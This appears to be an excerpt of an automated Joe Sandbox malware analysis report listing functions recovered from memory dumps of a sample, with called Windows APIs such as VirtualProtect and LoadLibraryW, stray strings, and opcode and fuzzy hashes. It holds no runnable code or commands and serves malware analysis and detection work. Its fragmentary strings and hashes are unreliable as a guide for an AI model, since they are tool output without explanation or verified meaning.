Function 044A0881 Relevance: 1.7, APIs: 1, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3279631068.00000000044A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45fb7925336898d6cb52763dd2826094893f7189a0100d4d81516c2a0facdb0
Instruction ID: 5caeb008588acf7b8377b6f91a7191a544eb5466b12fc8c4b5dfa4e43f1185e3
Opcode Fuzzy Hash: b45fb7925336898d6cb52763dd2826094893f7189a0100d4d81516c2a0facdb0
Instruction Fuzzy Hash: 8DA1F7347506008FDB54DF69C598E2A7BE6FF88B14B1585A9E90ACB372DB31EC05CB80

Function 07C43BA4 Relevance: 1.7, APIs: 1, Instructions: 186COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 07C43D71

Memory Dump Source

Source File: 00000000.00000002.3290723663.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c40000_file.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 490e076b056f48aea5ace9ceeee64ce8185562f44f9273723ab01023c8299a61
Instruction ID: 6e73e45b6b762687d2344e2e6334b1bc76263209a291730b2d45ea974515a698
Opcode Fuzzy Hash: 490e076b056f48aea5ace9ceeee64ce8185562f44f9273723ab01023c8299a61
Instruction Fuzzy Hash: 7E719AB4D04258DFCF20CFA9C884ADDBBB1BB4A300F1091AAE808B7251D734AA85CF55

Function 07C43BB0 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 07C43D71

Memory Dump Source

Source File: 00000000.00000002.3290723663.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c40000_file.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d1cedbaf93cfbbc9f88201613f6b9091b6065a7af28eee73b3bf199073573938
Instruction ID: 9ff83b531260c97b1f5b6d5634e7c924d0e0f36ea5811c1802676a28628509d2
Opcode Fuzzy Hash: d1cedbaf93cfbbc9f88201613f6b9091b6065a7af28eee73b3bf199073573938
Instruction Fuzzy Hash: 54717AB4D04258DFDF20CFA9C984BDDBBB1BB4A304F1091AAE818B7251D734AA85CF55

Function 086205F8 Relevance: 1.6, Strings: 1, Instructions: 391COMMON

Download Yara Rule

Strings

IjPj, xrefs: 086205FC

Memory Dump Source

Source File: 00000000.00000002.3295215345.0000000008620000.00000040.00000800.00020000.00000000.sdmp, Offset: 08620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8620000_file.jbxd

Similarity

API ID:
String ID: IjPj
API String ID: 0-2512671567
Opcode ID: 928391e9490a43d71ccc35f46b1a5437ad03b9f79b70535af66f90b2399a6ec5
Instruction ID: 62c1da23b02a8dac6ddefe2e02446279d8d3dca3c785231151142c50aeba23f4
Opcode Fuzzy Hash: 928391e9490a43d71ccc35f46b1a5437ad03b9f79b70535af66f90b2399a6ec5
Instruction Fuzzy Hash: 07E1D034700A10DFDB059F64C955A2E7BE6FF89705F114599EA028B3A1CFB9EC06CB92

Function 044A7FBC Relevance: 1.6, APIs: 1, Instructions: 131COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 044A80B9

Memory Dump Source

Source File: 00000000.00000002.3279631068.00000000044A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44a0000_file.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8dbb9eb2b07e4842a3620edbef17ff546d17d786aa509c2fb30594c296ff8896
Instruction ID: 8e310a5bcbd4c727294d1fba87037d1361f095d92b36c781e1ddb8c691183baf
Opcode Fuzzy Hash: 8dbb9eb2b07e4842a3620edbef17ff546d17d786aa509c2fb30594c296ff8896
Instruction Fuzzy Hash: 8E5103B1D00218CFDB20DFA9C944BDEBBB5BF59300F1080AAD509AB211DB756A89CF91

Function 044A7FC8 Relevance: 1.6, APIs: 1, Instructions: 123COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 044A80B9

Memory Dump Source

Source File: 00000000.00000002.3279631068.00000000044A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44a0000_file.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 966ab4e6021291a40b698e1cc4560e8592f5de99ed30e1a36dd85b49ca72b53c
Instruction ID: 2703d9d9f67aad97f3413731fb528adb3ccef03e51fe96d514e101406d0eae22
Opcode Fuzzy Hash: 966ab4e6021291a40b698e1cc4560e8592f5de99ed30e1a36dd85b49ca72b53c
Instruction Fuzzy Hash: FD51E5B1D00219CFDB21DFA9C944BDEBBB5FF59300F1080AAD509AB250DB756A89CF91

Function 044AF240 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 044AF30B

Memory Dump Source

Source File: 00000000.00000002.3279631068.00000000044A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44a0000_file.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7802ba33acb503e6c5935f57e50a4314aeb89dd891dc79c80e1b7c8822965726
Instruction ID: a249d5bac69163bc7b0c17fc3db26507035e7ed944a31c54ced359f4e9505df2
Opcode Fuzzy Hash: 7802ba33acb503e6c5935f57e50a4314aeb89dd891dc79c80e1b7c8822965726
Instruction Fuzzy Hash: 184176B9D002589FCF10CFA9D984ADEBBF5BB19310F14902AE918BB310D335A955CF94

Function 07C42A24 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 07C463E1

Memory Dump Source

Source File: 00000000.00000002.3290723663.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c40000_file.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 12d63e294272e24a0a3187d28e235529de03b8805ce5ab6ad234163a692d0ffb
Instruction ID: dcef10a00419f9c10ae94d9d00270e136cde324aca7420145a733841e4f9900e
Opcode Fuzzy Hash: 12d63e294272e24a0a3187d28e235529de03b8805ce5ab6ad234163a692d0ffb
Instruction Fuzzy Hash: 754147B4900345DFCB14CF99C488AAABBF6FF89314F24C859E519AB365D334A941CFA0

Function 044AC658 Relevance: 1.6, APIs: 1, Instructions: 97libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?), ref: 044AD1C2

Memory Dump Source

Source File: 00000000.00000002.3279631068.00000000044A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44a0000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ca6cce2e5d97f3171e2dedd75f3cdaa2ac9cf04cc0373248077c4ef8fe9ffa8c
Instruction ID: c377e20419f4a607c5ec80130ad94ee8354aee00841461b443ffc06fa3bd5ae3
Opcode Fuzzy Hash: ca6cce2e5d97f3171e2dedd75f3cdaa2ac9cf04cc0373248077c4ef8fe9ffa8c
Instruction Fuzzy Hash: A84197B4D012589FCF10CFAAD888A9EFBF1BB59310F14902AE819B7310D334A945CF94

Function 07D3E3A0 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 07D3E444

Memory Dump Source

Source File: 00000000.00000002.3292412321.0000000007D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7d30000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9c00caa4dece1c117b7eb9a93f2edc3df81e69c3771c3a4b812233ca46d37b02
Instruction ID: 5fdf43dd63fd2d77dbc62cfd2e30b23e3d9337da908b2836def6aafd300de299
Opcode Fuzzy Hash: 9c00caa4dece1c117b7eb9a93f2edc3df81e69c3771c3a4b812233ca46d37b02
Instruction Fuzzy Hash: 9E3199B8D012589FCF10CFA9D984ADEFBB1BF49310F14942AE819B7250D735A945CF94

Function 09421C20 Relevance: 1.6, APIs: 1, Instructions: 79libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?), ref: 09421CB1

Memory Dump Source

Source File: 00000000.00000002.3298078122.0000000009420000.00000040.00000800.00020000.00000000.sdmp, Offset: 09420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9420000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4570d16b7429607ea6c990c7615c59011986feeb4b749ebe3b6b77628b24f08f
Instruction ID: 559e0c90e0ec67293930f96b2e9872c175e839633f261d77bc5e316cf6b7edc4
Opcode Fuzzy Hash: 4570d16b7429607ea6c990c7615c59011986feeb4b749ebe3b6b77628b24f08f
Instruction Fuzzy Hash: 833198B8D05258DFCB10CFAAD984A9EFBF5BB49310F14906AE808B7310D374A945CFA4

Function 044ACE20 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?), ref: 044ACEB2

Memory Dump Source

Source File: 00000000.00000002.3279631068.00000000044A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44a0000_file.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b03e306bc856ee3412fd36d7d6a0f18319db461c8a4d6990c8f2156c8f06c0a6
Instruction ID: 80f3ab7e41402f9a6913f480dece52bc8f7ffa33a610c5afecb93e2a81fd77cc
Opcode Fuzzy Hash: b03e306bc856ee3412fd36d7d6a0f18319db461c8a4d6990c8f2156c8f06c0a6
Instruction Fuzzy Hash: FC3197B8D002599FDF14CFAAD584ADEFBF5AB49310F14906AE818B7320D334A945CFA4

Function 085BBFF0 Relevance: 1.6, APIs: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 085BC055

Memory Dump Source

Source File: 00000000.00000002.3293527481.00000000085B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85b0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 51cfbfc35f4495121b6e58414c4f9046ab2b7a965f8a837a5f4eb58746e05a37
Instruction ID: efa39a1649cd7bd848df4b8c4b5eed2165af381574366542970d1623476e3ca5
Opcode Fuzzy Hash: 51cfbfc35f4495121b6e58414c4f9046ab2b7a965f8a837a5f4eb58746e05a37
Instruction Fuzzy Hash: 24219F74E01218DFDB08DFAAE484ADDBBB2FB99311F10906AE415B7360DB316845CF64

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000000.00000002.3275621443.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3275621443.0000000000426000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000043A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000046F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000000.00000002.3275621443.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3275621443.0000000000426000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000043A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000046F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 084ED919 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

(aq, xrefs: 084EDFA9

Memory Dump Source

Source File: 00000000.00000002.3292519683.00000000084E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 084E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84e0000_file.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: e255c9f7175f305a4a6bd210066de15626811a80e4da31539f5567b436166511
Instruction ID: 1e389daa8588b44776cbdf558d61e59563b7c8f6cc110fddd694bf0f93b01443
Opcode Fuzzy Hash: e255c9f7175f305a4a6bd210066de15626811a80e4da31539f5567b436166511
Instruction Fuzzy Hash: 6CA15970E01209DFDB15DFA8D498AADBBB2EF88302F14456EE406AB395DB749C46CB50

Function 08621B10 Relevance: 1.5, Instructions: 1471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295215345.0000000008620000.00000040.00000800.00020000.00000000.sdmp, Offset: 08620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8620000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d9b49f7965a8dadc33fcf03b06ebe01560550345a1a7b591fea74c9c11cb19
Instruction ID: 9a715d4bcdaa57d4308e86ea6d698f7cdd5766538a243d9b0dcd0bb0fbfb8076
Opcode Fuzzy Hash: f8d9b49f7965a8dadc33fcf03b06ebe01560550345a1a7b591fea74c9c11cb19
Instruction Fuzzy Hash: 3CC24E70A002189FCB15DF64CD50AEEBBB6EF89700F11849AE50A9B3A1DB759D41CFA1

Function 085757E0 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

U, xrefs: 085757ED

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: b7ed0ec930c69c54b07f7baa024c1777eb497909e408a2064c7c693396cd001f
Instruction ID: 0749e92bb87ba7f0e5dcdc06ca7bfec8b3102b8f54d8ed24c5e39cb82ef86100
Opcode Fuzzy Hash: b7ed0ec930c69c54b07f7baa024c1777eb497909e408a2064c7c693396cd001f
Instruction Fuzzy Hash: 99912C34A00609CFCB05DFA8D898A9EBBB6FF88301F158559E546AB361EB70ED45CF50

Function 0857AC50 Relevance: 1.5, Strings: 1, Instructions: 215COMMON

Download Yara Rule

Strings

(aq, xrefs: 0857AD6D

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 06bb59d2d920a65535d80b5d93b7e6819dbae7364940b6fb6eb0af8c7a5c1dc0
Instruction ID: cdb3cb214382ff824e6499c9d63b40d4da3297d01c623c0d896af077b6b10ff6
Opcode Fuzzy Hash: 06bb59d2d920a65535d80b5d93b7e6819dbae7364940b6fb6eb0af8c7a5c1dc0
Instruction Fuzzy Hash: ED71A170B043858FCB56AB7894281AEBFB2FFD6211B1845AED446C7396DE389C07C752

Function 08605D90 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

4']q, xrefs: 08605DA4

Memory Dump Source

Source File: 00000000.00000002.3293719524.0000000008600000.00000040.00000800.00020000.00000000.sdmp, Offset: 08600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8600000_file.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: afe6e93fc0dbe0efa17fb3a3214b484d762507a333edd521b11bdee0e256f7d5
Instruction ID: 859d887159b890c5e20c8ff7280c00c4974c0b625afbbf9e3e6cf4c84fa559c9
Opcode Fuzzy Hash: afe6e93fc0dbe0efa17fb3a3214b484d762507a333edd521b11bdee0e256f7d5
Instruction Fuzzy Hash: 8751CD30B006169FCB18DF6DE48486AFBB5FF84211715862ED45AEB391CB30AC468FA4

Function 08578390 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

(_]q, xrefs: 08578450

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID: (_]q
API String ID: 0-188044275
Opcode ID: a7e3cbfb50769c06f8edbb64a9ad9df2be578532cc6866529a7fc06e27e541e5
Instruction ID: a1164f08197c14989e59e2cd5627844c3ad74ebded00b29a324763bac4834ba1
Opcode Fuzzy Hash: a7e3cbfb50769c06f8edbb64a9ad9df2be578532cc6866529a7fc06e27e541e5
Instruction Fuzzy Hash: 7051DE707003119FDB249B29E898A6EBBE6FFC9315B1484ADE805CB391DE31EC06C754

Function 0860E1B0 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

Haq, xrefs: 0860E2CB

Memory Dump Source

Source File: 00000000.00000002.3293719524.0000000008600000.00000040.00000800.00020000.00000000.sdmp, Offset: 08600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8600000_file.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 7d74d5ab617e7687c036606d3b849e95441f8649e64023fcb3d757bdce1ef60f
Instruction ID: aa41ad5be33143035cf7567527cf3a87812bf84a7e9d350a4adb5ed87e8be47b
Opcode Fuzzy Hash: 7d74d5ab617e7687c036606d3b849e95441f8649e64023fcb3d757bdce1ef60f
Instruction Fuzzy Hash: 0E512F34B00224ABCB2CAA7D905456EBBE7BFC8661B15492DEC02E7385DF319D068BD5

Function 084E0360 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

`;aq, xrefs: 084E0442

Memory Dump Source

Source File: 00000000.00000002.3292519683.00000000084E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 084E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84e0000_file.jbxd

Similarity

API ID:
String ID: `;aq
API String ID: 0-1773680930
Opcode ID: d0c62870cca06182fb66f1642c81ac39511aa6d2bfc56b2335d28c6cb465365c
Instruction ID: 8db6aa6efe4dec0a39ee6b41c5ace2e8cf7f4a8d57218fb78a28baacfee47d17
Opcode Fuzzy Hash: d0c62870cca06182fb66f1642c81ac39511aa6d2bfc56b2335d28c6cb465365c
Instruction Fuzzy Hash: 215110703017405BEB28EA39A55062E6AD6FFC4301B40497DD406CB795EFB8EC0AC391

Function 086072A8 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

4']q, xrefs: 086072B3

Memory Dump Source

Source File: 00000000.00000002.3293719524.0000000008600000.00000040.00000800.00020000.00000000.sdmp, Offset: 08600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8600000_file.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 5e1922355515f19245709456de16d86228d5c5bccc651bfd75bbef21feefe628
Instruction ID: 559fd9afae69225c1ccd882b0aaa9ac22526d3b6a491b76addebb7bc9fca78cb
Opcode Fuzzy Hash: 5e1922355515f19245709456de16d86228d5c5bccc651bfd75bbef21feefe628
Instruction Fuzzy Hash: 5F51C4702007419FDB29DF78D584A5ABBF5FF88305B048A6DC8498B756DB34F949CBA0

Function 0860729A Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

4']q, xrefs: 086072B3

Memory Dump Source

Source File: 00000000.00000002.3293719524.0000000008600000.00000040.00000800.00020000.00000000.sdmp, Offset: 08600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8600000_file.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: d4f941a4be785b0a3eb330ae4f48cde939f70d192cfa6811f79fa15d3ceed5de
Instruction ID: 8cdfdb2161ab35f709041526b6d8cbdc90579039c23e2f74cb9f16d97796d485
Opcode Fuzzy Hash: d4f941a4be785b0a3eb330ae4f48cde939f70d192cfa6811f79fa15d3ceed5de
Instruction Fuzzy Hash: AD51B1702007419FDB29DF68D580A5ABBF5EF89205B04CA6DC4498B7A6C774F94DCBA0

Function 07C601E8 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

LR]q, xrefs: 07C60240

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 9364f520b55368e06f387553069b5e98693d3616a0e37b7cc52ecef2b9dd4bc0
Instruction ID: 0fc560b2084e201f2034166bb200f0b13e882b8c4e55ae437a7d696cc6cf7f6f
Opcode Fuzzy Hash: 9364f520b55368e06f387553069b5e98693d3616a0e37b7cc52ecef2b9dd4bc0
Instruction Fuzzy Hash: F341AEB4E012199FDB08CFA9D5849EEBBF2FF89314F10806AE419AB354DB755945CF40

Function 08984A87 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

&, xrefs: 08984B85, 08984B8A

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-2822232526
Opcode ID: 9e4a4515ecdb8d2a43ee31104e6f33307ac516fdecd191fae4300055339bbff4
Instruction ID: 38c80d4e32fda27e99a53aba3d26eb031025eff5a761d410107775aff6b0b3eb
Opcode Fuzzy Hash: 9e4a4515ecdb8d2a43ee31104e6f33307ac516fdecd191fae4300055339bbff4
Instruction Fuzzy Hash: 6C41D374E00229CFEB29EF29D945BDDBBB5AB89301F0085EAD84DA7250DB701E85CF51

Function 084E0350 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

`;aq, xrefs: 084E0442

Memory Dump Source

Source File: 00000000.00000002.3292519683.00000000084E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 084E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84e0000_file.jbxd

Similarity

API ID:
String ID: `;aq
API String ID: 0-1773680930
Opcode ID: de0d96d87419ee74aeb012ed7ecc20934f616ab435254c4ae32637ab68215e6a
Instruction ID: e30cccedb5d298e85bfea6aa9e773cdd3693c61fcc0045f5f62744e8bb476e10
Opcode Fuzzy Hash: de0d96d87419ee74aeb012ed7ecc20934f616ab435254c4ae32637ab68215e6a
Instruction Fuzzy Hash: EB31D7302007015BE729EA79E590B5DBB9AEFC1604F448A3DC4058B6A9DFB5B94DC3A1

Function 08986C12 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

sA, xrefs: 08986CCE, 08986CD3

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: sA
API String ID: 0-3791179695
Opcode ID: ab21ad19e078c99e4548c22493ad7bddb0d6dff372bfd1e15b1d1251b5dbdb74
Instruction ID: 42fe5df5c15bd44d53788be4f9f6a26e315c99d117ef9cffce1f39de15fdc930
Opcode Fuzzy Hash: ab21ad19e078c99e4548c22493ad7bddb0d6dff372bfd1e15b1d1251b5dbdb74
Instruction Fuzzy Hash: 4131D474E01209DFDB05DFA9E9856DEBBF2FB88305F10842AE805AB344DB386906CF51

Function 08605D88 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

4']q, xrefs: 08605DA4

Memory Dump Source

Source File: 00000000.00000002.3293719524.0000000008600000.00000040.00000800.00020000.00000000.sdmp, Offset: 08600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8600000_file.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 04bc37237cf1992353651b01c6f4747681d193b8e5a9a57919e1905fba5c33b1
Instruction ID: f837280fd092dc9a2034a6dc288f72cfd15d4c3c444e7b2b2adbe3514a6eadf0
Opcode Fuzzy Hash: 04bc37237cf1992353651b01c6f4747681d193b8e5a9a57919e1905fba5c33b1
Instruction Fuzzy Hash: 6E218F70A006169FCB08CF6DD58986EFBB5FF48210B15862ED46AEB391DB70A8408FD4

Function 08982440 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

PH]q, xrefs: 089824D6

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 208b5de531adaa4dac88f790ec9c6b2d33d36a53b9b0d0203d26fe45a0422f90
Instruction ID: 3a4f24bbcd9c01c77a6b6bb49dc1a99f91cc5241038c5e56dc598dc27f503a9e
Opcode Fuzzy Hash: 208b5de531adaa4dac88f790ec9c6b2d33d36a53b9b0d0203d26fe45a0422f90
Instruction Fuzzy Hash: 16119335B00109DBEB14EBA9D958AAEB7FAEFC8311F10806DD806D7340DE348D05CBA1

Function 084E4880 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

\j^, xrefs: 084E489A

Memory Dump Source

Source File: 00000000.00000002.3292519683.00000000084E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 084E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84e0000_file.jbxd

Similarity

API ID:
String ID: \j^
API String ID: 0-2301030680
Opcode ID: ad2e0c223ae49bdb54b5678709a38eceaf53d219d3c91a7e520cdb57515c2aaf
Instruction ID: 3b2b183def52bcef756d35a11fbc881dd028d9856f1bc967eecfd5a6327a92f8
Opcode Fuzzy Hash: ad2e0c223ae49bdb54b5678709a38eceaf53d219d3c91a7e520cdb57515c2aaf
Instruction Fuzzy Hash: DB11342684E3E05FDB039A3CA8B17D63F606F53265F1940E7D0C48E1E3D458898EC7AA

Function 08571E64 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

(_]q, xrefs: 08571E8D

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID: (_]q
API String ID: 0-188044275
Opcode ID: 76cbfe0dcc3cdc79cd5866f0bc178d8048d48f6b62107d61e1a8aeae7554c056
Instruction ID: 8f1485fa01fbbe3b4d68f440228095e81e174e034b2856cf256c9e927792c3ae
Opcode Fuzzy Hash: 76cbfe0dcc3cdc79cd5866f0bc178d8048d48f6b62107d61e1a8aeae7554c056
